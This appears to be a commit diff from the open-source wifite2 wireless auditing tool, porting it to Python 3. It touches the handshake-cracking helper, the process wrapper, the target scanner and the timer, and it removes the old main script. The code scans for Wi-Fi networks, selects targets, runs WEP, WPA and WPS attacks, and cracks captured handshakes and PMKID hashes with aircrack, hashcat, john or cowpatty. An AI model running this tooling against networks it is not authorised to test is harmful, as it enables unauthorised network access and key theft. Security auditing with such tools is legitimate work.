except KeyboardInterrupt:
Color.pl('\n{!} {O}Interrupted{W}')
@classmethod
def is_cracked(cls, file):
if not os.path.exists(Configuration.cracked_file):
return False
with open(Configuration.cracked_file) as f:
json = loads(f.read())
if json is None:
return False
for result in json:
for k in result.keys():
v = result[k]
if 'file' in k and os.path.basename(v) == file:
return True
return False
@classmethod
def get_handshakes(cls):
handshakes = []
skipped_pmkid_files = skipped_cracked_files = 0
hs_dir = Configuration.wpa_handshake_dir
if not os.path.exists(hs_dir) or not os.path.isdir(hs_dir):
Color.pl('\n{!} {O}directory not found: {R}%s{W}' % hs_dir)
return []
Color.pl('\n{+} Listing captured handshakes from {C}%s{W}:\n' % os.path.abspath(hs_dir))
for hs_file in os.listdir(hs_dir):
if hs_file.count('_') != 3:
continue
if cls.is_cracked(hs_file):
skipped_cracked_files += 1
continue
if hs_file.endswith('.cap'):
# WPA Handshake
hs_type = '4-WAY'
elif hs_file.endswith('.16800'):
# PMKID hash
if not Process.exists('hashcat'):
skipped_pmkid_files += 1
continue
hs_type = 'PMKID'
else:
continue
name, essid, bssid, date = hs_file.split('_')
date = date.rsplit('.', 1)[0]
days,hours = date.split('T')
hours = hours.replace('-', ':')
date = '%s %s' % (days, hours)
handshake = {
'filename': os.path.join(hs_dir, hs_file),
'bssid': bssid.replace('-', ':'),
'essid': essid,
'date': date,
'type': hs_type
}
if hs_file.endswith('.cap'):
# WPA Handshake
handshake['type'] = '4-WAY'
elif hs_file.endswith('.16800'):
# PMKID hash
handshake['type'] = 'PMKID'
else:
continue
handshakes.append(handshake)
if skipped_pmkid_files > 0:
Color.pl('{!} {O}Skipping %d {R}*.16800{O} files because {R}hashcat{O} is missing.{W}\n' % skipped_pmkid_files)
if skipped_cracked_files > 0:
Color.pl('{!} {O}Skipping %d already cracked files.{W}\n' % skipped_cracked_files)
# Sort by Date (Descending)
return sorted(handshakes, key=lambda x: x.get('date'), reverse=True)
@classmethod
def print_handshakes(cls, handshakes):
# Header
max_essid_len = max([len(hs['essid']) for hs in handshakes] + [len('ESSID (truncated)')])
Color.p('{W}{D} NUM')
Color.p(' ' + 'ESSID (truncated)'.ljust(max_essid_len))
Color.p(' ' + 'BSSID'.ljust(17))
Color.p(' ' + 'TYPE'.ljust(5))
Color.p(' ' + 'DATE CAPTURED\n')
Color.p(' ---')
Color.p(' ' + ('-' * max_essid_len))
Color.p(' ' + ('-' * 17))
Color.p(' ' + ('-' * 5))
Color.p(' ' + ('-' * 19) + '{W}\n')
# Handshakes
for index, handshake in enumerate(handshakes, start=1):
Color.p(' {G}%s{W}' % str(index).rjust(3))
Color.p(' {C}%s{W}' % handshake['essid'].ljust(max_essid_len))
Color.p(' {O}%s{W}' % handshake['bssid'].ljust(17))
Color.p(' {C}%s{W}' % handshake['type'].ljust(5))
Color.p(' {W}%s{W}\n' % handshake['date'])
@classmethod
def get_user_selection(cls, handshakes):
cls.print_handshakes(handshakes)
Color.p('{+} Select handshake(s) to crack ({G}%d{W}-{G}%d{W}, select multiple with {C},{W} or {C}-{W} or {C}all{W}): {G}' % (1, len(handshakes)))
choices = raw_input()
selection = []
for choice in choices.split(','):
if '-' in choice:
first, last = [int(x) for x in choice.split('-')]
for index in range(first, last + 1):
selection.append(handshakes[index-1])
elif choice.strip().lower() == 'all':
selection = handshakes[:]
break
elif [c.isdigit() for c in choice]:
index = int(choice)
selection.append(handshakes[index-1])
return selection
@classmethod
def crack(cls, hs, tool):
Color.pl('\n{+} Cracking {G}%s {C}%s{W} ({C}%s{W})' % (
cls.TYPES[hs['type']], hs['essid'], hs['bssid']))
if hs['type'] == 'PMKID':
crack_result = cls.crack_pmkid(hs, tool)
elif hs['type'] == '4-WAY':
crack_result = cls.crack_4way(hs, tool)
else:
raise ValueError('Cannot crack handshake: Type is not PMKID or 4-WAY. Handshake=%s' % hs)
if crack_result is None:
# Failed to crack
Color.pl('{!} {R}Failed to crack {O}%s{R} ({O}%s{R}): Passphrase not in dictionary' % (
hs['essid'], hs['bssid']))
else:
# Cracked, replace existing entry (if any), or add to
Color.pl('{+} {G}Cracked{W} {C}%s{W} ({C}%s{W}). Key: "{G}%s{W}"' % (
hs['essid'], hs['bssid'], crack_result.key))
crack_result.save()
@classmethod
def crack_4way(cls, hs, tool):
handshake = Handshake(hs['filename'],
bssid=hs['bssid'],
essid=hs['essid'])
try:
handshake.divine_bssid_and_essid()
except ValueError as e:
Color.pl('{!} {R}Error: {O}%s{W}' % e)
return None
if tool == 'aircrack':
key = Aircrack.crack_handshake(handshake, show_command=True)
elif tool == 'hashcat':
key = Hashcat.crack_handshake(handshake, show_command=True)
elif tool == 'john':
key = John.crack_handshake(handshake, show_command=True)
elif tool == 'cowpatty':
key = Cowpatty.crack_handshake(handshake, show_command=True)
if key is not None:
return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key)
else:
return None
@classmethod
def crack_pmkid(cls, hs, tool):
if tool != 'hashcat':
Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}')
key = Hashcat.crack_pmkid(hs['filename'], verbose=True)
if key is not None:
return CrackResultPMKID(hs['bssid'], hs['essid'], hs['filename'], key)
else:
return None
if __name__ == '__main__':
CrackHelper.run()
return handshakes[hs_index - 1]

17
wifite/util/input.py Executable file
View File

@@ -0,0 +1,17 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Fix for raw_input on python3: https://stackoverflow.com/a/7321970
try:
input = raw_input
except NameError:
pass
raw_input = input
try:
range = xrange
except NameError:
pass
xrange = range

View File

@@ -1,7 +1,10 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import time
import signal
import os
from subprocess import Popen, PIPE
from ..util.color import Color
@@ -26,20 +29,25 @@ class Process(object):
if type(command) is not str or ' ' in command or shell:
shell = True
if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing (Shell): {B}%s{W}" % command)
Color.pe('\n {C}[?] {W} Executing (Shell): {B}%s{W}' % command)
else:
shell = False
if Configuration.verbose > 1:
Color.pe("\n {C}[?]{W} Executing: {B}%s{W}" % command)
Color.pe('\n {C}[?]{W} Executing: {B}%s{W}' % command)
pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell)
pid.wait()
(stdout, stderr) = pid.communicate()
if Configuration.verbose > 1 and stdout.strip() != '':
Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(stdout.strip().split('\n')))
if Configuration.verbose > 1 and stderr.strip() != '':
Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(stderr.strip().split('\n')))
# Python 3 compatibility
if type(stdout) is bytes: stdout = stdout.decode('utf-8')
if type(stderr) is bytes: stderr = stderr.decode('utf-8')
if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '':
Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(stdout.strip().split('\n')))
if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '':
Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(stderr.strip().split('\n')))
return (stdout, stderr)
@@ -55,7 +63,7 @@ class Process(object):
return True
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0):
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0, stdin=PIPE):
''' Starts executing command '''
if type(command) is str:
@@ -65,7 +73,7 @@ class Process(object):
self.command = command
if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing: {B}%s{W}" % ' '.join(command))
Color.pe('\n {C}[?] {W} Executing: {B}%s{W}' % ' '.join(command))
self.out = None
self.err = None
@@ -78,28 +86,31 @@ class Process(object):
self.start_time = time.time()
self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd, bufsize=bufsize)
self.pid = Popen(command, stdout=sout, stderr=serr, stdin=stdin, cwd=cwd, bufsize=bufsize)
def __del__(self):
'''
Ran when object is GC'd.
If process is still running at this point, it should die.
'''
try:
if self.pid and self.pid.poll() is None:
self.interrupt()
except AttributeError:
pass
def stdout(self):
''' Waits for process to finish, returns stdout output '''
self.get_output()
if Configuration.verbose > 1 and self.out.strip() != '':
Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(self.out.strip().split('\n')))
if Configuration.verbose > 1 and self.out is not None and self.out.strip() != '':
Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(self.out.strip().split('\n')))
return self.out
def stderr(self):
''' Waits for process to finish, returns stderr output '''
self.get_output()
if Configuration.verbose > 1 and self.err.strip() != '':
Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(self.err.strip().split('\n')))
if Configuration.verbose > 1 and self.err is not None and self.err.strip() != '':
Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(self.err.strip().split('\n')))
return self.err
def stdoutln(self):
@@ -108,16 +119,28 @@ class Process(object):
def stderrln(self):
return self.pid.stderr.readline()
def stdin(self, text):
if self.pid.stdin:
self.pid.stdin.write(text.encode('utf-8'))
self.pid.stdin.flush()
def get_output(self):
''' Waits for process to finish, sets stdout & stderr '''
if self.pid.poll() is None:
self.pid.wait()
if self.out is None:
(self.out, self.err) = self.pid.communicate()
if type(self.out) is bytes:
self.out = self.out.decode('utf-8')
if type(self.err) is bytes:
self.err = self.err.decode('utf-8')
return (self.out, self.err)
def poll(self):
''' Returns exit code if process is dead, otherwise "None" '''
''' Returns exit code if process is dead, otherwise 'None' '''
return self.pid.poll()
def wait(self):
@@ -127,54 +150,65 @@ class Process(object):
''' Returns number of seconds since process was started '''
return int(time.time() - self.start_time)
def interrupt(self):
def interrupt(self, wait_time=2.0):
'''
Send interrupt to current process.
If process fails to exit within 1 second, terminates it.
If process fails to exit within `wait_time` seconds, terminates it.
'''
from signal import SIGINT, SIGTERM
from os import kill
from time import sleep
try:
pid = self.pid.pid
kill(pid, SIGINT)
cmd = self.command
if type(cmd) is list:
cmd = ' '.join(cmd)
wait_time = 0 # Time since Interrupt was sent
if Configuration.verbose > 1:
Color.pe('\n {C}[?] {W} sending interrupt to PID %d (%s)' % (pid, cmd))
os.kill(pid, signal.SIGINT)
start_time = time.time() # Time since Interrupt was sent
while self.pid.poll() is None:
# Process is still running
wait_time += 0.1
sleep(0.1)
if wait_time > 1:
# We waited over 1 second for process to die
# Terminate it and move on
kill(pid, SIGTERM)
time.sleep(0.1)
if time.time() - start_time > wait_time:
# We waited too long for process to die, terminate it.
if Configuration.verbose > 1:
Color.pe('\n {C}[?] {W} Waited > %0.2f seconds for process to die, killing it' % wait_time)
os.kill(pid, signal.SIGTERM)
self.pid.terminate()
break
except OSError, e:
except OSError as e:
if 'No such process' in e.__str__():
return
raise e # process cannot be killed
if __name__ == '__main__':
Configuration.initialize(False)
p = Process('ls')
print p.stdout(), p.stderr()
print(p.stdout())
print(p.stderr())
p.interrupt()
# Calling as list of arguments
(out, err) = Process.call(['ls', '-lah'])
print out, err
print(out)
print(err)
print '\n---------------------\n'
print('\n---------------------\n')
# Calling as string
(out, err) = Process.call('ls -l | head -2')
print out, err
print(out)
print(err)
print '"reaver" exists:', Process.exists('reaver')
print('"reaver" exists: %s' % Process.exists('reaver'))
# Test on never-ending process
p = Process('yes')
print('Running yes...')
time.sleep(1)
print('yes should stop now')
# After program loses reference to instance in 'p', process dies.

View File

@@ -1,9 +1,10 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..tools.airodump import Airodump
from ..util.color import Color
from ..model.target import Target
from ..tools.airodump import Airodump
from ..util.input import raw_input, xrange
from ..model.target import Target, WPSState
from ..config import Configuration
from time import sleep, time
@@ -16,16 +17,18 @@ class Scanner(object):
def __init__(self):
'''
Starts scan, prints as it goes.
Upon interrupt, sets 'targets'.
Scans for targets via Airodump.
Loops until scan is interrupted via user or config.
Note: Sets this object's `targets` attrbute (list[Target]) upon interruption.
'''
self.previous_target_count = 0
self.targets = []
self.target = None # Specific target (based on ESSID/BSSID)
self.target = None # Target specified by user (based on ESSID/BSSID)
max_scan_time = Configuration.scan_time
self.err_msg = None
Color.pl("")
# Loads airodump with interface/channel/etc from Configuration
try:
with Airodump() as airodump:
@@ -34,61 +37,58 @@ class Scanner(object):
while True:
if airodump.pid.poll() is not None:
# Airodump process died
self.err_msg = '\r{!} {R}Airodump exited unexpectedly (Code: %d){O} Command: {W}%s' % (airodump.pid.poll(), " ".join(airodump.pid.command))
raise KeyboardInterrupt
return # Airodump process died
try:
self.targets = airodump.get_targets()
except Exception, e:
break
self.targets = airodump.get_targets(old_targets=self.targets)
if self.found_target():
# We found the target we want
return
return # We found the target we want
if airodump.pid.poll() is not None:
return # Airodump process died
for target in self.targets:
if target.bssid in airodump.decloaked_bssids:
target.decloaked = True
self.print_targets()
target_count = len(self.targets)
client_count = sum(
[len(t.clients)
for t in self.targets])
outline = "\r{+} Scanning"
client_count = sum(len(t.clients) for t in self.targets)
outline = '\r{+} Scanning'
if airodump.decloaking:
outline += " & decloaking"
outline += ". Found"
outline += " {G}%d{W} target(s)," % target_count
outline += " {G}%d{W} client(s)." % client_count
outline += " {O}Ctrl+C{W} when ready "
decloaked = airodump.decloaked_targets
if len(decloaked) > 0:
outline += "(decloaked"
outline += " {C}%d{W} ESSIDs:" % len(decloaked)
outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked])
outline += ' & decloaking'
outline += '. Found'
outline += ' {G}%d{W} target(s),' % target_count
outline += ' {G}%d{W} client(s).' % client_count
outline += ' {O}Ctrl+C{W} when ready '
Color.clear_entire_line()
Color.p(outline)
if Configuration.scan_time > 0 and time() > scan_start_time + Configuration.scan_time:
if max_scan_time > 0 and time() > scan_start_time + max_scan_time:
return
sleep(1)
except KeyboardInterrupt:
pass
def found_target(self):
'''
Check if we discovered the target AP
Returns: the Target if found,
Otherwise None.
Detect if we found a target specified by the user (optional).
Sets this object's `target` attribute if found.
Returns: True if target was specified and found, False otherwise.
'''
bssid = Configuration.target_bssid
essid = Configuration.target_essid
if bssid is None and essid is None:
return False
return False # No specific target from user.
for target in self.targets:
if Configuration.wps_only and target.wps != True:
if Configuration.wps_only and target.wps not in [WPSState.UNLOCKED, WPSState.LOCKED]:
continue
if bssid and target.bssid and bssid.lower() == target.bssid.lower():
self.target = target
@@ -104,16 +104,15 @@ class Scanner(object):
return False
def print_targets(self):
'''
Prints targets to console
'''
'''Prints targets selection menu (1 target per row).'''
if len(self.targets) == 0:
Color.p('\r')
return
if self.previous_target_count > 0:
# We need to "overwrite" the previous list of targets.
# We need to 'overwrite' the previous list of targets.
if Configuration.verbose <= 1:
# Don't clear screen buffer in verbose mode.
if self.previous_target_count > len(self.targets) or \
@@ -126,13 +125,13 @@ class Scanner(object):
Process.call('clear')
else:
# We can fit the targets in the terminal without scrolling
# "Move" cursor up so we will print over the previous list
# 'Move' cursor up so we will print over the previous list
Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count))
self.previous_target_count = len(self.targets)
# Overwrite the current line
Color.p('\r')
Color.p('\r{W}{D}')
# First row: columns
Color.p(' NUM')
@@ -146,7 +145,7 @@ class Scanner(object):
Color.p(' -------------------------')
if Configuration.show_bssids:
Color.p(' -----------------')
Color.pl(' --- ---- ----- ---- ------')
Color.pl(' --- ---- ----- ---- ------{W}')
# Remaining rows: targets
for idx, target in enumerate(self.targets, start=1):
@@ -167,7 +166,15 @@ class Scanner(object):
return int(columns)
def select_targets(self):
''' Asks user to select target(s) '''
'''
Returns list(target)
Either a specific target if user specified -bssid or --essid.
Otherwise, prompts user to select targets and returns the selection.
'''
if self.target:
# When user specifies a specific target
return [self.target]
if len(self.targets) == 0:
if self.err_msg is not None:
@@ -177,13 +184,15 @@ class Scanner(object):
# 1. Link to wireless drivers wiki,
# 2. How to check if your device supporst monitor mode,
# 3. Provide airodump-ng command being executed.
raise Exception("No targets found."
+ " You may need to wait longer,"
+ " or you may have issues with your wifi card")
raise Exception('No targets found.'
+ ' You may need to wait longer,'
+ ' or you may have issues with your wifi card')
# Return all targets if user specified a wait time ('pillage').
if Configuration.scan_time > 0:
return self.targets
# Ask user for targets.
self.print_targets()
Color.clear_entire_line()
@@ -198,7 +207,8 @@ class Scanner(object):
chosen_targets = []
for choice in raw_input(Color.s(input_str)).split(','):
if choice == 'all':
choice = choice.strip()
if choice.lower() == 'all':
chosen_targets = self.targets
break
if '-' in choice:
@@ -209,20 +219,20 @@ class Scanner(object):
elif choice.isdigit():
choice = int(choice) - 1
chosen_targets.append(self.targets[choice])
else:
pass
return chosen_targets
if __name__ == '__main__':
# Example displays targets and selects the appropriate one
# 'Test' script will display targets and selects the appropriate one
Configuration.initialize()
try:
s = Scanner()
targets = s.select_targets()
except Exception, e:
except Exception as e:
Color.pl('\r {!} {R}Error{W}: %s' % str(e))
Configuration.exit_gracefully(0)
for t in targets:
Color.pl(" {W}Selected: %s" % t)
Color.pl(' {W}Selected: %s' % t)
Configuration.exit_gracefully(0)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import time
@@ -24,13 +24,16 @@ class Timer(object):
@staticmethod
def secs_to_str(seconds):
'''Human-readable seconds. 193 -> 3m13s'''
if seconds < 0:
return '-%ds' % seconds
rem = int(seconds)
hours = rem / 3600
mins = (rem % 3600) / 60
hours = int(rem / 3600)
mins = int((rem % 3600) / 60)
secs = rem % 60
if hours > 0:
return "%dh%dm%ds" % (hours, mins, secs)
return '%dh%dm%ds' % (hours, mins, secs)
elif mins > 0:
return "%dm%ds" % (mins, secs)
return '%dm%ds' % (mins, secs)
else:
return "%ds" % secs
return '%ds' % secs

View File

@@ -1,258 +0,0 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
try:
from config import Configuration
except (ValueError, ImportError) as e:
raise Exception('You may need to run wifite from the root directory (which includes README.md)')
from util.scanner import Scanner
from util.process import Process
from util.color import Color
from util.crack import CrackHandshake
from attack.wep import AttackWEP
from attack.wpa import AttackWPA
from attack.wps import AttackWPS
from model.result import CrackResult
from model.handshake import Handshake
import json
import os
import sys
class Wifite(object):
def main(self):
''' Either performs action based on arguments, or starts attack scanning '''
if os.getuid() != 0:
Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}')
Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}')
Configuration.exit_gracefully(0)
self.dependency_check()
Configuration.initialize(load_interface=False)
if Configuration.show_cracked:
self.display_cracked()
elif Configuration.check_handshake:
self.check_handshake(Configuration.check_handshake)
elif Configuration.crack_handshake:
CrackHandshake()
else:
Configuration.get_interface()
self.run()
def dependency_check(self):
''' Check that required programs are installed '''
required_apps = ['airmon-ng', 'iwconfig', 'ifconfig', 'aircrack-ng', 'aireplay-ng', 'airodump-ng', 'tshark']
optional_apps = ['packetforge-ng', 'reaver', 'bully', 'cowpatty', 'pyrit', 'stdbuf', 'macchanger']
missing_required = False
missing_optional = False
for app in required_apps:
if not Process.exists(app):
missing_required = True
Color.pl('{!} {R}error: required app {O}%s{R} was not found' % app)
for app in optional_apps:
if not Process.exists(app):
missing_optional = True
Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % app)
if missing_required:
Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
sys.exit(-1)
if missing_optional:
Color.pl('{!} {O}recommended app(s) were not found')
Color.pl('{!} {O}wifite may not work as expected{W}')
def display_cracked(self):
''' Show cracked targets from cracked.txt '''
name = CrackResult.cracked_file
if not os.path.exists(name):
Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
return
with open(name, 'r') as fid:
cracked_targets = json.loads(fid.read())
if len(cracked_targets) == 0:
Color.pl('{!} {R}no results found in {O}%s{W}' % name)
else:
Color.pl('{+} displaying {G}%d {C}cracked target(s){W}\n' % len(cracked_targets))
for item in cracked_targets:
cr = CrackResult.load(item)
cr.dump()
Color.pl('')
def check_handshake(self, capfile):
''' Analyzes .cap file for handshake '''
if capfile == '<all>':
Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
try:
capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
except OSError, e:
capfiles = []
if len(capfiles) == 0:
Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
else:
capfiles = [capfile]
for capfile in capfiles:
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
if not os.path.exists(capfile):
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
return
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
hs.analyze()
Color.pl('')
def run(self):
'''
Main program.
1) Scans for targets, asks user to select targets
2) Attacks each target
'''
s = Scanner()
if s.target:
# We found the target we want
targets = [s.target]
else:
targets = s.select_targets()
attacked_targets = 0
targets_remaining = len(targets)
for idx, t in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
if 'WEP' in t.encryption:
attack = AttackWEP(t)
elif 'WPA' in t.encryption:
if t.wps:
attack = AttackWPS(t)
result = False
try:
result = attack.run()
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining, 1):
break
if result and attack.success:
# We cracked it.
attack.crack_result.save()
continue
else:
# WPS failed, try WPA handshake.
attack = AttackWPA(t)
else:
# Not using WPS, try WPA handshake.
attack = AttackWPA(t)
else:
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
continue
try:
attack.run()
except Exception, e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining):
break
if attack.success:
attack.crack_result.save()
Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)
def print_banner(self):
""" Displays ASCII art of the highest caliber. """
Color.pl('''\
{G} . {GR}{D} {W}{G} . {W}
{G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}
{G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor
{G}`. · `{GR}{D}\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2
{G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}
''' % Configuration.version)
def user_wants_to_continue(self, targets_remaining, attacks_remaining=0):
''' Asks user if attacks should continue onto other targets '''
if attacks_remaining == 0 and targets_remaining == 0:
# No targets or attacksleft, drop out
return
prompt_list = []
if attacks_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
if targets_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
prompt = ' and '.join(prompt_list)
Color.pl('{+} %s remain, do you want to continue?' % prompt)
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
' or {R}s{W} to {R}stop{W}: ')
if raw_input(prompt).lower().startswith('s'):
return False
else:
return True
def run():
w = Wifite()
w.print_banner()
try:
w.main()
except Exception, e:
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
Color.pl('\n{!} {R}Exiting{W}\n')
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted, shutting down...{W}')
Configuration.exit_gracefully(0)
if __name__ == '__main__':
run()

File diff suppressed because it is too large Load Diff